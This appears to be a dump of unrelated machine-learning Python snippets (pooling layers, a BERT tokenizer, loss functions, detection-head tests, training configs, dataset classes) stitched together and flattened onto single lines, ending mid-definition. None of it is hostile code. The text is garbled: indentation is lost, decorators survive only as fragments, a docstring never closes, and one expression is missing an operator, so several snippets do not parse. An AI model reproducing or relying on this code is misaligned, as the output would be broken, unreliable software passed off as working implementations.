class AveragePooling3D(ZooKerasLayer): def __init__(self, pool_size=(2, 2, 2), strides=None, border_mode='valid', dim_ordering='th', input_shape=None, **kwargs): if (border_mode != 'valid'): invalidInputError(False, "For AveragePooling3D, only border_mode='valid' is supported for now") super(AveragePooling3D, self).__init__(None, pool_size, strides, dim_ordering, (list(input_shape) if input_shape else None), **kwargs)
def _unflatten_dense_tensors(flat, tensors): outputs = [] offset = 0 for tensor in tensors: numel = tensor.numel() outputs.append(flat.narrow(0, offset, numel).view_as(tensor)) offset += numel return tuple(outputs)
def mel_spectrogram_torch_data(y, data): return mel_spectrogram_torch(y, data.filter_length, data.n_mel_channels, data.sampling_rate, data.hop_length, data.win_length, data.mel_fmin, data.mel_fmax, center=False)
def cross_entropy(logits, target, weight=None, ignore_index=(- 100), reduction='mean', smooth_eps=None, smooth_dist=None): 'cross entropy loss, with support for target distributions and label smoothing smooth_eps = (smooth_eps or 0) if (_is_long(target) and (smooth_eps == 0)): return F.cross_entropy(logits, target, weight, ignore_index=ignore_index, reduction=reduction) masked_indices = None num_classes = logits.size((- 1)) if (_is_long(target) and (ignore_index >= 0)): masked_indices = target.eq(ignore_index) if ((smooth_eps > 0) and (smooth_dist is not None)): if _is_long(target): target = onehot(target, num_classes).type_as(logits) if (smooth_dist.dim() < target.dim()): smooth_dist = smooth_dist.unsqueeze(0) target.lerp_(smooth_dist, smooth_eps) lsm = F.log_softmax(logits, dim=(- 1)) if (weight is not None): lsm = (lsm * weight.unsqueeze(0)) if _is_long(target): eps = (smooth_eps / (num_classes - 1)) nll = (- lsm.gather(dim=(- 1), index=target.unsqueeze((- 1)))) loss = (((1.0 - (2 * eps)) * nll) - (eps * lsm.sum((- 1)))) else: loss = (- (target * lsm).sum((- 1))) if (masked_indices is not None): loss.masked_fill_(masked_indices, 0) if (reduction == 'sum'): loss = loss.sum() elif (reduction == 'mean'): if (masked_indices is None): loss = loss.mean() else: loss = (loss.sum() / float((loss.size(0) - masked_indices.sum()))) return loss
def set_restricted_game_conversions_for_all_workers_openspiel(trainer: Trainer, tmp_base_env: MultiAgentEnv, delegate_policy_id: PolicyID, agent_id_to_restricted_game_specs: Dict[(AgentID, List[StrategySpec])], load_policy_spec_fn): local_delegate_policy = trainer.workers.local_worker().policy_map[delegate_policy_id] player_converters = {} for (p, restricted_game_specs) in agent_id_to_restricted_game_specs.items(): if (len(restricted_game_specs) == 0): continue player_converters[p] = get_restricted_game_obs_conversions(player=p, delegate_policy=local_delegate_policy, policy_specs=restricted_game_specs, load_policy_spec_fn=load_policy_spec_fn, tmp_base_env=tmp_base_env) assert ((len(player_converters) == 0) or (len(player_converters) == 1)) def _set_worker_converters(worker: RolloutWorker): worker_delegate_policy = worker.policy_map[delegate_policy_id] for (p, player_converter) in player_converters.items(): worker.foreach_env((lambda env: env.set_obs_conversion_dict(p, player_converter))) worker_delegate_policy.player_converters = player_converters trainer.workers.foreach_worker(_set_worker_converters) trainer.get_local_converters = (lambda : trainer.workers.local_worker().policy_map[delegate_policy_id].player_converters)
class MLP(nn.Module): def __init__(self, ninput=200, nhidden=150, nclass=2, dropout=0): super(MLP, self).__init__() self.fc1 = nn.Linear(ninput, nhidden) self.fc2 = nn.Linear(nhidden, nclass) self.dropout = dropout def forward(self, x): out = F.relu(self.fc1(x)) out = F.dropout(out, self.dropout) out = self.fc2(out) return out
def get_config(parse=True, **optional_kwargs): parser = argparse.ArgumentParser() parser.add_argument('--mode', type=str, default='train') parser.add_argument('--verbose', type=str2bool, default='true') parser.add_argument('--preprocessed', type=str2bool, default='True') parser.add_argument('--video_type', type=str, default='360airballoon') parser.add_argument('--input_size', type=int, default=2048) parser.add_argument('--hidden_size', type=int, default=500) parser.add_argument('--num_layers', type=int, default=2) parser.add_argument('--summary_rate', type=float, default=0.3) parser.add_argument('--n_epochs', type=int, default=50) parser.add_argument('--clip', type=float, default=5.0) parser.add_argument('--lr', type=float, default=0.0001) parser.add_argument('--discriminator_lr', type=float, default=1e-05) parser.add_argument('--discriminator_slow_start', type=int, default=15) parser.add_argument('--epoch', type=int, default=2) if parse: kwargs = parser.parse_args() else: kwargs = parser.parse_known_args()[0] kwargs = vars(kwargs) kwargs.update(optional_kwargs) return Config(**kwargs)
class DeformConvFunction(Function): def forward(ctx, input, offset, weight, stride=1, padding=0, dilation=1, groups=1, deformable_groups=1, im2col_step=64): if ((input is not None) and (input.dim() != 4)): raise ValueError('Expected 4D tensor as input, got {}D tensor instead.'.format(input.dim())) ctx.stride = _pair(stride) ctx.padding = _pair(padding) ctx.dilation = _pair(dilation) ctx.groups = groups ctx.deformable_groups = deformable_groups ctx.im2col_step = im2col_step ctx.save_for_backward(input, offset, weight) output = input.new_empty(DeformConvFunction._output_size(input, weight, ctx.padding, ctx.dilation, ctx.stride)) ctx.bufs_ = [input.new_empty(0), input.new_empty(0)] if (not input.is_cuda): raise NotImplementedError else: cur_im2col_step = min(ctx.im2col_step, input.shape[0]) assert ((input.shape[0] % cur_im2col_step) == 0), 'im2col step must divide batchsize' _C.deform_conv_forward(input, weight, offset, output, ctx.bufs_[0], ctx.bufs_[1], weight.size(3), weight.size(2), ctx.stride[1], ctx.stride[0], ctx.padding[1], ctx.padding[0], ctx.dilation[1], ctx.dilation[0], ctx.groups, ctx.deformable_groups, cur_im2col_step) return output _differentiable def backward(ctx, grad_output): (input, offset, weight) = ctx.saved_tensors grad_input = grad_offset = grad_weight = None if (not grad_output.is_cuda): raise NotImplementedError else: cur_im2col_step = min(ctx.im2col_step, input.shape[0]) assert ((input.shape[0] % cur_im2col_step) == 0), 'im2col step must divide batchsize' if (ctx.needs_input_grad[0] or ctx.needs_input_grad[1]): grad_input = torch.zeros_like(input) grad_offset = torch.zeros_like(offset) _C.deform_conv_backward_input(input, offset, grad_output, grad_input, grad_offset, weight, ctx.bufs_[0], weight.size(3), weight.size(2), ctx.stride[1], ctx.stride[0], ctx.padding[1], ctx.padding[0], ctx.dilation[1], ctx.dilation[0], ctx.groups, ctx.deformable_groups, cur_im2col_step) if ctx.needs_input_grad[2]: grad_weight = torch.zeros_like(weight) _C.deform_conv_backward_parameters(input, offset, grad_output, grad_weight, ctx.bufs_[0], ctx.bufs_[1], weight.size(3), weight.size(2), ctx.stride[1], ctx.stride[0], ctx.padding[1], ctx.padding[0], ctx.dilation[1], ctx.dilation[0], ctx.groups, ctx.deformable_groups, 1, cur_im2col_step) return (grad_input, grad_offset, grad_weight, None, None, None, None, None) def _output_size(input, weight, padding, dilation, stride): channels = weight.size(0) output_size = (input.size(0), channels) for d in range((input.dim() - 2)): in_size = input.size((d + 2)) pad = padding[d] kernel = ((dilation[d] * (weight.size((d + 2)) - 1)) + 1) stride_ = stride[d] output_size += (((((in_size + (2 * pad)) - kernel) // stride_) + 1),) if (not all(map((lambda s: (s > 0)), output_size))): raise ValueError('convolution input is too small (output would be {})'.format('x'.join(map(str, output_size)))) return output_size
class LinearResidual(nn.Module): def __init__(self, input_size=1024, output_size=1024, n_resmods=1, dropout=False): super(LinearResidual, self).__init__() thisname = self.__class__.__name__ self.dropout_prob = 0.5 self.n_mods = n_resmods print('[INFO] ({}) Initializing module'.format(thisname)) print('[INFO] ({}) Using dropout? {}'.format(thisname, dropout)) print('[INFO] ({}) Dropout val {}'.format(thisname, self.dropout_prob)) print('[INFO] ({}) N of inner layers {}'.format(thisname, n_resmods)) layers = [nn.Linear(input_size, output_size), nn.BatchNorm1d(output_size), nn.ReLU(inplace=True)] if dropout: layers += [nn.Dropout(p=self.dropout_prob)] for i in range(1, n_resmods): layers += [nn.Linear(input_size, output_size), nn.BatchNorm1d(output_size), nn.ReLU(inplace=True)] if dropout: layers += [nn.Dropout(p=self.dropout_prob)] self.back = nn.Sequential(*layers) self.relu = nn.ReLU() Utils.normal_init(self.back) def forward(self, x): y = self.back(x) x = self.relu((x + y)) return x
class BertTokenizer(PreTrainedTokenizer): vocab_files_names = VOCAB_FILES_NAMES pretrained_vocab_files_map = PRETRAINED_VOCAB_FILES_MAP pretrained_init_configuration = PRETRAINED_INIT_CONFIGURATION max_model_input_sizes = PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES def __init__(self, vocab_file, do_lower_case=True, do_basic_tokenize=True, never_split=None, unk_token='[UNK]', sep_token='[SEP]', pad_token='[PAD]', cls_token='[CLS]', mask_token='[MASK]', tokenize_chinese_chars=True, strip_accents=None, **kwargs): super().__init__(do_lower_case=do_lower_case, do_basic_tokenize=do_basic_tokenize, never_split=never_split, unk_token=unk_token, sep_token=sep_token, pad_token=pad_token, cls_token=cls_token, mask_token=mask_token, tokenize_chinese_chars=tokenize_chinese_chars, strip_accents=strip_accents, **kwargs) if (not os.path.isfile(vocab_file)): raise ValueError(f"Can't find a vocabulary file at path '{vocab_file}'. To load the vocabulary from a Google pretrained model use `tokenizer = BertTokenizer.from_pretrained(PRETRAINED_MODEL_NAME)`") self.vocab = load_vocab(vocab_file) self.ids_to_tokens = collections.OrderedDict([(ids, tok) for (tok, ids) in self.vocab.items()]) self.do_basic_tokenize = do_basic_tokenize if do_basic_tokenize: self.basic_tokenizer = BasicTokenizer(do_lower_case=do_lower_case, never_split=never_split, tokenize_chinese_chars=tokenize_chinese_chars, strip_accents=strip_accents) self.wordpiece_tokenizer = WordpieceTokenizer(vocab=self.vocab, unk_token=self.unk_token) def do_lower_case(self): return self.basic_tokenizer.do_lower_case def vocab_size(self): return len(self.vocab) def get_vocab(self): return dict(self.vocab, **self.added_tokens_encoder) def _tokenize(self, text): split_tokens = [] if self.do_basic_tokenize: for token in self.basic_tokenizer.tokenize(text, never_split=self.all_special_tokens): if (token in self.basic_tokenizer.never_split): split_tokens.append(token) else: split_tokens += self.wordpiece_tokenizer.tokenize(token) else: split_tokens = self.wordpiece_tokenizer.tokenize(text) return split_tokens def _convert_token_to_id(self, token): return self.vocab.get(token, self.vocab.get(self.unk_token)) def _convert_id_to_token(self, index): return self.ids_to_tokens.get(index, self.unk_token) def convert_tokens_to_string(self, tokens): out_string = ' '.join(tokens).replace(' ##', '').strip() return out_string def build_inputs_with_special_tokens(self, token_ids_0: List[int], token_ids_1: Optional[List[int]]=None) -> List[int]: if (token_ids_1 is None): return (([self.cls_token_id] + token_ids_0) + [self.sep_token_id]) cls = [self.cls_token_id] sep = [self.sep_token_id] return ((((cls + token_ids_0) + sep) + token_ids_1) + sep) def get_special_tokens_mask(self, token_ids_0: List[int], token_ids_1: Optional[List[int]]=None, already_has_special_tokens: bool=False) -> List[int]: if already_has_special_tokens: return super().get_special_tokens_mask(token_ids_0=token_ids_0, token_ids_1=token_ids_1, already_has_special_tokens=True) if (token_ids_1 is not None): return (((([1] + ([0] * len(token_ids_0))) + [1]) + ([0] * len(token_ids_1))) + [1]) return (([1] + ([0] * len(token_ids_0))) + [1]) def create_token_type_ids_from_sequences(self, token_ids_0: List[int], token_ids_1: Optional[List[int]]=None) -> List[int]: sep = [self.sep_token_id] cls = [self.cls_token_id] if (token_ids_1 is None): return (len(((cls + token_ids_0) + sep)) * [0]) return ((len(((cls + token_ids_0) + sep)) * [0]) + (len((token_ids_1 + sep)) * [1])) def save_vocabulary(self, save_directory: str, filename_prefix: Optional[str]=None) -> Tuple[str]: index = 0 if os.path.isdir(save_directory): vocab_file = os.path.join(save_directory, (((filename_prefix + '-') if filename_prefix else '') + VOCAB_FILES_NAMES['vocab_file'])) else: vocab_file = (((filename_prefix + '-') if filename_prefix else '') + save_directory) with open(vocab_file, 'w', encoding='utf-8') as writer: for (token, token_index) in sorted(self.vocab.items(), key=(lambda kv: kv[1])): if (index != token_index): logger.warning(f'Saving vocabulary to {vocab_file}: vocabulary indices are not consecutive. Please check that the vocabulary is not corrupted!') index = token_index writer.write((token + '\n')) index += 1 return (vocab_file,)
.register('GhostNet') def build_ghostnet_backbone(cfg): in_channels = cfg.MODEL.BACKBONE.IN_PLANES base_channels = cfg.MODEL.BACKBONE.BASE_PLANES width_multiplier = cfg.MODEL.COMPRESSION.WIDTH_MULTIPLIER round_nearest = cfg.MODEL.COMPRESSION.ROUND_NEAREST attention_type = cfg.MODEL.ATTENTION.ATTENTION_TYPE conv_layer = get_conv(cfg) norm_layer = get_norm(cfg) act_layer = get_act(cfg) sigmoid_type = cfg.MODEL.ACT.SIGMOID_TYPE return GhostBackbone(in_channels=in_channels, base_channels=base_channels, width_multiplier=width_multiplier, round_nearest=round_nearest, attention_type=attention_type, sigmoid_type=sigmoid_type, conv_layer=conv_layer, norm_layer=norm_layer, act_layer=act_layer)
def test(test_loader, model, epoch): model.eval() Eval = Eval_thread() n = 0 mae_ls = [] fmax_ls = [] with torch.no_grad(): for (j_batch, test_data) in enumerate(test_loader): X_test = Variable(test_data[0]) y_test = Variable(test_data[1]) X_test = X_test.cuda() y_test = y_test.cuda() if (X_test.shape[1] == 1): X_test = torch.cat([X_test, X_test, X_test], 1) (_, output_test) = model(X_test) pred = bv_test(output_test) pred = F.upsample(pred, size=(y_test.shape[2], y_test.shape[3]), mode='bilinear', align_corners=False) for im in range(y_test.shape[0]): (mae, fmax) = Eval.run(pred[im], y_test[im]) mae_ls.append(mae) fmax_ls.append(fmax) if ((j_batch % 100) == 0): print((((('test [Iteration : ' + str(j_batch)) + '/') + str(len(test_loader))) + ('] fmax:%.3f mae:%.3f' % (np.mean(fmax_ls), np.mean(mae_ls))))) csv = 'results.csv' with open(os.path.join('save', csv), 'a') as f: f.write(('%03d,%0.6f,%0.5f \n' % ((epoch + 1), np.mean(mae_ls), np.mean(fmax_ls)))) return np.mean(mae_ls)
def remove_punctuation(x): x = ''.join([c for c in x if (c not in string.punctuation)]) x = [s for s in x.split() if s] x = ' '.join(x) return x
def VarLSTMCell(input, hidden, w_ih, w_hh, b_ih=None, b_hh=None, noise_in=None, noise_hidden=None): input = (input.expand(4, *input.size()) if (noise_in is None) else (input.unsqueeze(0) * noise_in)) (hx, cx) = hidden hx = (hx.expand(4, *hx.size()) if (noise_hidden is None) else (hx.unsqueeze(0) * noise_hidden)) gates = (torch.baddbmm(b_ih.unsqueeze(1), input, w_ih) + torch.baddbmm(b_hh.unsqueeze(1), hx, w_hh)) (ingate, forgetgate, cellgate, outgate) = gates ingate = torch.sigmoid(ingate) forgetgate = torch.sigmoid(forgetgate) cellgate = torch.tanh(cellgate) outgate = torch.sigmoid(outgate) cy = ((forgetgate * cx) + (ingate * cellgate)) hy = (outgate * torch.tanh(cy)) return (hy, cy)
class TranslationEnToDePipelineTests(MonoInputPipelineCommonMixin, unittest.TestCase): pipeline_task = 'translation_en_to_de' small_models = ['patrickvonplaten/t5-tiny-random'] large_models = [None] invalid_inputs = [4, '<mask>'] mandatory_keys = ['translation_text']
class PabeeTests(TestCasePlus): def test_run_glue(self): stream_handler = logging.StreamHandler(sys.stdout) logger.addHandler(stream_handler) tmp_dir = self.get_auto_remove_tmp_dir() testargs = f''' run_glue_with_pabee.py --model_type albert --model_name_or_path albert-base-v2 --data_dir ./tests/fixtures/tests_samples/MRPC/ --output_dir {tmp_dir} --overwrite_output_dir --task_name mrpc --do_train --do_eval --per_gpu_train_batch_size=2 --per_gpu_eval_batch_size=1 --learning_rate=2e-5 --max_steps=50 --warmup_steps=2 --seed=42 --max_seq_length=128 '''.split() with patch.object(sys, 'argv', testargs): result = run_glue_with_pabee.main() for value in result.values(): self.assertGreaterEqual(value, 0.75)
def test_get_git_hash(): with patch('mmcv.utils.version_utils._minimal_ext_cmd', _mock_cmd_success): assert (get_git_hash() == '3b46d33e90c397869adfdfc9812aa0') assert (get_git_hash(digits=6) == '3b46d3') assert (get_git_hash(digits=100) == get_git_hash()) with patch('mmcv.utils.version_utils._minimal_ext_cmd', _mock_cmd_fail): assert (get_git_hash() == 'unknown') assert (get_git_hash(fallback='n/a') == 'n/a')
class Rag(object): def __init__(self, labels: np.ndarray, connectivity: int=1): self.labels = labels self.graph = fast_rag(labels, connectivity) self.tree = tree.Ultrametric(init_nodes=self.graph.nodes()) def merge_subgraph(self, subgraph: Iterable={}, source: int=None): subgraph = self.graph.subgraph(subgraph) if (len(subgraph) == 0): return for connected_subgraph in (self.graph.subgraph(c) for c in nx.connected_components(subgraph)): ordered_nodes = nx.dfs_preorder_nodes(connected_subgraph, source) current_node = next(ordered_nodes) for next_node in ordered_nodes: current_node = self.tree.merge(current_node, next_node) def current_segmentation(self, cut_threshold: float=np.inf) -> np.ndarray: label_map = self.tree.get_map(cut_threshold) return label_map[self.labels]
def test_dcn_center_head(): if (not torch.cuda.is_available()): pytest.skip('test requires GPU and CUDA') set_random_seed(0) tasks = [dict(num_class=1, class_names=['car']), dict(num_class=2, class_names=['truck', 'construction_vehicle']), dict(num_class=2, class_names=['bus', 'trailer']), dict(num_class=1, class_names=['barrier']), dict(num_class=2, class_names=['motorcycle', 'bicycle']), dict(num_class=2, class_names=['pedestrian', 'traffic_cone'])] voxel_size = [0.2, 0.2, 8] dcn_center_head_cfg = dict(type='CenterHead', in_channels=sum([128, 128, 128]), tasks=[dict(num_class=1, class_names=['car']), dict(num_class=2, class_names=['truck', 'construction_vehicle']), dict(num_class=2, class_names=['bus', 'trailer']), dict(num_class=1, class_names=['barrier']), dict(num_class=2, class_names=['motorcycle', 'bicycle']), dict(num_class=2, class_names=['pedestrian', 'traffic_cone'])], common_heads={'reg': (2, 2), 'height': (1, 2), 'dim': (3, 2), 'rot': (2, 2), 'vel': (2, 2)}, share_conv_channel=64, bbox_coder=dict(type='CenterPointBBoxCoder', post_center_range=[(- 61.2), (- 61.2), (- 10.0), 61.2, 61.2, 10.0], max_num=500, score_threshold=0.1, pc_range=[(- 51.2), (- 51.2)], out_size_factor=4, voxel_size=voxel_size[:2], code_size=9), separate_head=dict(type='DCNSeparateHead', dcn_config=dict(type='DCN', in_channels=64, out_channels=64, kernel_size=3, padding=1, groups=4, bias=False), init_bias=(- 2.19), final_kernel=3), loss_cls=dict(type='GaussianFocalLoss', reduction='mean'), loss_bbox=dict(type='L1Loss', reduction='none', loss_weight=0.25), norm_bbox=True) train_cfg = dict(grid_size=[512, 512, 1], point_cloud_range=[(- 51.2), (- 51.2), (- 5.0), 51.2, 51.2, 3.0], voxel_size=voxel_size, out_size_factor=4, dense_reg=1, gaussian_overlap=0.1, max_objs=500, min_radius=2, code_weights=[1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 0.2, 0.2, 1.0, 1.0]) test_cfg = dict(post_center_limit_range=[(- 61.2), (- 61.2), (- 10.0), 61.2, 61.2, 10.0], max_per_img=500, max_pool_nms=False, min_radius=[4, 12, 10, 1, 0.85, 0.175], post_max_size=83, score_threshold=0.1, pc_range=[(- 51.2), (- 51.2)], out_size_factor=4, voxel_size=voxel_size[:2], nms_type='circle') dcn_center_head_cfg.update(train_cfg=train_cfg, test_cfg=test_cfg) dcn_center_head = build_head(dcn_center_head_cfg).cuda() x = torch.ones([2, 384, 128, 128]).cuda() output = dcn_center_head([x]) for i in range(6): assert (output[i][0]['reg'].shape == torch.Size([2, 2, 128, 128])) assert (output[i][0]['height'].shape == torch.Size([2, 1, 128, 128])) assert (output[i][0]['dim'].shape == torch.Size([2, 3, 128, 128])) assert (output[i][0]['rot'].shape == torch.Size([2, 2, 128, 128])) assert (output[i][0]['vel'].shape == torch.Size([2, 2, 128, 128])) assert (output[i][0]['heatmap'].shape == torch.Size([2, tasks[i]['num_class'], 128, 128])) gt_bboxes_0 = LiDARInstance3DBoxes(torch.rand([10, 9]).cuda(), box_dim=9) gt_bboxes_1 = LiDARInstance3DBoxes(torch.rand([20, 9]).cuda(), box_dim=9) gt_labels_0 = torch.randint(1, 11, [10]).cuda() gt_labels_1 = torch.randint(1, 11, [20]).cuda() gt_bboxes_3d = [gt_bboxes_0, gt_bboxes_1] gt_labels_3d = [gt_labels_0, gt_labels_1] loss = dcn_center_head.loss(gt_bboxes_3d, gt_labels_3d, output) for (key, item) in loss.items(): if ('heatmap' in key): assert (item >= 0) else: assert (torch.sum(item) >= 0) img_metas = [dict(box_type_3d=LiDARInstance3DBoxes), dict(box_type_3d=LiDARInstance3DBoxes)] ret_lists = dcn_center_head.get_bboxes(output, img_metas) for ret_list in ret_lists: assert (ret_list[0].tensor.shape[0] <= 500) assert (ret_list[1].shape[0] <= 500) assert (ret_list[2].shape[0] <= 500)
def gradient_check(): kernel_size_list = [1, 3] len_list = [8, 10] for i in range(10): B = random.randint(1, 4) C = (i + 1) K = random.choice(kernel_size_list) H = random.choice(len_list) W = random.choice(len_list) input = torch.randn(B, C, ((H + K) - 1), ((W + K) - 1), requires_grad=True).cuda() kernel = torch.randn(B, ((C * K) * K), H, W, requires_grad=True).cuda() print(torch.autograd.gradcheck(KernelConv2DFunction(K), (input, kernel), eps=0.1, atol=1e-05, rtol=0.001, raise_exception=True))
class LogisticRegressionNetwork(Model): def __init__(self) -> None: super().__init__() self.dense1 = Dense(1) self.dense2 = Dense(1) self.sigmoid = tf.nn.sigmoid def call(self, x1, x2): x1 = self.dense1(x1) x2 = self.dense2(x2) x = tf.stack([x1, x2]) x = tf.reduce_sum(x, 0) x = self.sigmoid(x) return x
class ClevrQuestion(torch.utils.data.Dataset): def __init__(self, img_folder, ann_file, transforms): super(ClevrQuestion, self).__init__() self.transforms = transforms self.root = img_folder with open(ann_file, 'r') as f: self.questions = json.load(f)['questions'] def __len__(self): return len(self.questions) def __getitem__(self, idx): question = self.questions[idx] img = Image.open(os.path.join(self.root, question['image_filename'])).convert('RGB') target = {'questionId': (question['question_index'] if ('question_index' in question) else idx), 'caption': question['question']} if ('answer' in question): target = _encode_answer(target, question['answer']) if (self.transforms is not None): (img, _) = self.transforms(img, {'boxes': torch.zeros(0, 4), 'labels': torch.zeros(0), 'iscrowd': torch.zeros(0), 'positive_map': torch.zeros(0)}) return (img, target)
def read_rdf(fp): with open(fp, 'r', encoding='utf-8') as f: lines = f.readlines() items = [line.strip().split('\t') for line in lines] return items
def draw_in_poincare_ball(embeddings: np.ndarray, label: Optional[np.ndarray]=None, dim: int=2, reduce_method: str='pca', cmap='viridis') -> plt.figure: emb_low = project_to_poincare_ball(embeddings, dim, reduce_method) if (dim == 2): plot_2d_embedding(emb_low, label, cmap=cmap) elif (dim == 3): plot_3d_embedding(emb_low, label, cmap=cmap) else: raise ValueError('dim must be 2 or 3.')
def resnet_v2_50(inputs, num_classes=None, is_training=True, global_pool=True, output_stride=None, centered_stride=False, reuse=None, scope='resnet_v2_50'): c = [False, False, False] if centered_stride: i_last = (int(np.round(np.log2(output_stride))) - 3) if (i_last >= 0): c[i_last] = True blocks = [resnet_v2_block('block1', base_depth=64, num_units=3, stride=2, centered_stride=c[0]), resnet_v2_block('block2', base_depth=128, num_units=4, stride=2, centered_stride=c[1]), resnet_v2_block('block3', base_depth=256, num_units=6, stride=2, centered_stride=c[2]), resnet_v2_block('block4', base_depth=512, num_units=3, stride=1)] return resnet_v2(inputs, blocks, num_classes, is_training, global_pool, output_stride, include_root_block=True, reuse=reuse, scope=scope)
class Zencoder(nn.Module): def __init__(self, input_nc, ngf=64, norm='instance', act='LeakyReLU', use_spect=True): super(Zencoder, self).__init__() norm_layer = get_norm_layer(norm_type=norm) acti = get_nonlinearity_layer(activation_type=act) self.block0 = EncoderBlock(input_nc, (ngf * 2), norm_layer, acti, use_spect) self.block1 = EncoderBlock((ngf * 2), (ngf * 4), norm_layer, acti, use_spect) self.block2 = EncoderBlock((ngf * 4), (ngf * 4), norm_layer, acti, use_spect) self.block3 = EncoderBlock((ngf * 4), (ngf * 4), norm_layer, acti, use_spect) self.block4 = ResBlockDecoder((ngf * 4), (ngf * 4), (ngf * 4), norm_layer, acti, use_spect) self.block5 = ResBlockDecoder((ngf * 4), (ngf * 4), (ngf * 4), norm_layer, acti, use_spect) self.down = nn.Upsample(scale_factor=0.25, mode='nearest') self.get_code = nn.Sequential(nn.Conv2d(256, 256, kernel_size=1, padding=0), nn.Tanh()) def forward(self, input, seg): out = self.block0(input) out = self.block3(self.block2(self.block1(out))) out = self.block5(self.block4(out)) codes = self.get_code(out) segmap = F.interpolate(seg, size=codes.size()[2:], mode='nearest') bs = codes.shape[0] hs = codes.shape[2] ws = codes.shape[3] cs = codes.shape[1] f_size = cs s_size = segmap.shape[1] codes_vector = torch.zeros((bs, (s_size + 1), cs), dtype=codes.dtype, device=codes.device) exist_vector = torch.zeros((bs, s_size), dtype=codes.dtype, device=codes.device) for i in range(bs): for j in range(s_size): component_mask_area = torch.sum(segmap.bool()[(i, j)]) if (component_mask_area > 0): codes_component_feature = codes[i].masked_select(segmap.bool()[(i, j)]).reshape(f_size, component_mask_area).mean(1) codes_vector[i][j] = codes_component_feature exist_vector[i][j] = 1 (tmpmean, tmpstd) = calc_mean_std(codes[i].reshape(1, codes[i].shape[0], codes[i].shape[1], codes[i].shape[2])) codes_vector[i][s_size] = tmpmean.squeeze() return (codes_vector, exist_vector, out)
def _HamiltonianCarrying(q, p, g, s): for t in range(10): (q, p, g) = [(q + (0.1 * _dp_Hqp(q, p, s))), (p - (0.1 * _dq_Hqp(q, p, s))), (g + ((0.1 * _k(g, q, s)) p))] return (q, p, g)
def write_demo(fn, data, names, bpm=90.0, shift_second=None, shift_beat=None): midi = demo_to_midi(data, names, bpm, shift_second, shift_beat) midi.write(fn)
class DenseBlock(nn.Module): def __init__(self, in_channels, out_channels, add_bias=True, use_wscale=True, wscale_gain=_WSCALE_GAIN, lr_mul=1.0, activation_type='lrelu'): super().__init__() weight_shape = (out_channels, in_channels) wscale = (wscale_gain / np.sqrt(in_channels)) if use_wscale: self.weight = nn.Parameter((torch.randn(*weight_shape) / lr_mul)) self.wscale = (wscale * lr_mul) else: self.weight = nn.Parameter(((torch.randn(*weight_shape) * wscale) / lr_mul)) self.wscale = lr_mul if add_bias: self.bias = nn.Parameter(torch.zeros(out_channels)) else: self.bias = None self.bscale = lr_mul if (activation_type == 'linear'): self.activate = nn.Identity() self.activate_scale = 1.0 elif (activation_type == 'lrelu'): self.activate = nn.LeakyReLU(negative_slope=0.2, inplace=True) self.activate_scale = np.sqrt(2.0) else: raise NotImplementedError(f'Not implemented activation function: `{activation_type}`!') def forward(self, x): if (x.ndim != 2): x = x.view(x.shape[0], (- 1)) bias = ((self.bias * self.bscale) if (self.bias is not None) else None) x = F.linear(x, weight=(self.weight * self.wscale), bias=bias) x = (self.activate(x) * self.activate_scale) return x
def test_digits_cosine_greedi_ln_object(): model = GraphCutSelection(100, 'cosine', optimizer=GreeDi(optimizer1='lazy', optimizer2='naive', random_state=0)) model.fit(X_digits) assert_array_equal(model.ranking, digits_cosine_greedi_ranking) assert_array_almost_equal(model.gains, digits_cosine_greedi_gains, 4) assert_array_almost_equal(model.subset, X_digits[model.ranking])
def select_skeleton(coords_src, joint_info_src, skeleton_type_dst): if (skeleton_type_dst == ''): return coords_src def get_index(name): if (((name + '_') + skeleton_type_dst) in joint_info_src.names): return joint_info_src.names.index((name + '_h36m')) else: return joint_info_src.names.index(name) joint_info_dst = ds3d.get_joint_info(skeleton_type_dst) selected_indices = [get_index(name) for name in joint_info_dst.names] return torch.gather(coords_src, dim=(- 2), index=selected_indices)
def mask_tube_in_sequence(mask_ratio: float, tube_size: int, len_sequence: int, device: (str | torch.device)='cpu'): num_masked = floor((len_sequence * mask_ratio)) indices_permuted = ((torch.randperm((len_sequence // tube_size), device=device) * tube_size).repeat_interleave(tube_size) + torch.arange(tube_size, device=device).repeat((len_sequence // tube_size))) indices_not_kept: torch.Tensor = indices_permuted[:num_masked].sort()[0] indices_kept: torch.Tensor = indices_permuted[num_masked:].sort()[0] indices = torch.cat((indices_not_kept, indices_kept)) inversed_temporal_masked_indices = torch.argsort(indices) return (indices_not_kept, indices_kept, inversed_temporal_masked_indices, num_masked)
def main(config, args): set_seed(config.TRAIN.manualSeed) Mission = TextSR(config, args) if args.test: if (not os.path.exists(config.TRAIN.ckpt_dir)): os.mkdir(config.TRAIN.ckpt_dir) result_path = os.path.join(config.TRAIN.ckpt_dir, 'test_result.csv') if (not os.path.exists(result_path)): with open(result_path, 'w+') as out: writer = csv.writer(out) writer.writerow(['recognizer', 'subset', 'accuracy', 'psnr', 'ssim']) Mission.test() else: if (not os.path.exists(config.TRAIN.ckpt_dir)): os.mkdir(config.TRAIN.ckpt_dir) log_path = os.path.join(config.TRAIN.ckpt_dir, 'log.csv') if (not os.path.exists(log_path)): with open(log_path, 'w+') as out: writer = csv.writer(out) writer.writerow(['epoch', 'dataset', 'accuracy', 'psnr_avg', 'ssim_avg', 'best', 'best_sum']) Mission.train()
class SquadDataTrainingArguments(): model_type: str = field(default=None, metadata={'help': ('Model type selected in the list: ' + ', '.join(MODEL_TYPES))}) data_dir: str = field(default=None, metadata={'help': 'The input data dir. Should contain the .json files for the SQuAD task.'}) max_seq_length: int = field(default=128, metadata={'help': 'The maximum total input sequence length after tokenization. Sequences longer than this will be truncated, sequences shorter will be padded.'}) doc_stride: int = field(default=128, metadata={'help': 'When splitting up a long document into chunks, how much stride to take between chunks.'}) max_query_length: int = field(default=64, metadata={'help': 'The maximum number of tokens for the question. Questions longer than this will be truncated to this length.'}) max_answer_length: int = field(default=30, metadata={'help': 'The maximum length of an answer that can be generated. This is needed because the start and end predictions are not conditioned on one another.'}) overwrite_cache: bool = field(default=False, metadata={'help': 'Overwrite the cached training and evaluation sets'}) version_2_with_negative: bool = field(default=False, metadata={'help': 'If true, the SQuAD examples contain some that do not have an answer.'}) null_score_diff_threshold: float = field(default=0.0, metadata={'help': 'If null_score - best_non_null is greater than the threshold predict null.'}) n_best_size: int = field(default=20, metadata={'help': 'If null_score - best_non_null is greater than the threshold predict null.'}) lang_id: int = field(default=0, metadata={'help': 'language id of input for language-specific xlm models (see tokenization_xlm.PRETRAINED_INIT_CONFIGURATION)'}) threads: int = field(default=1, 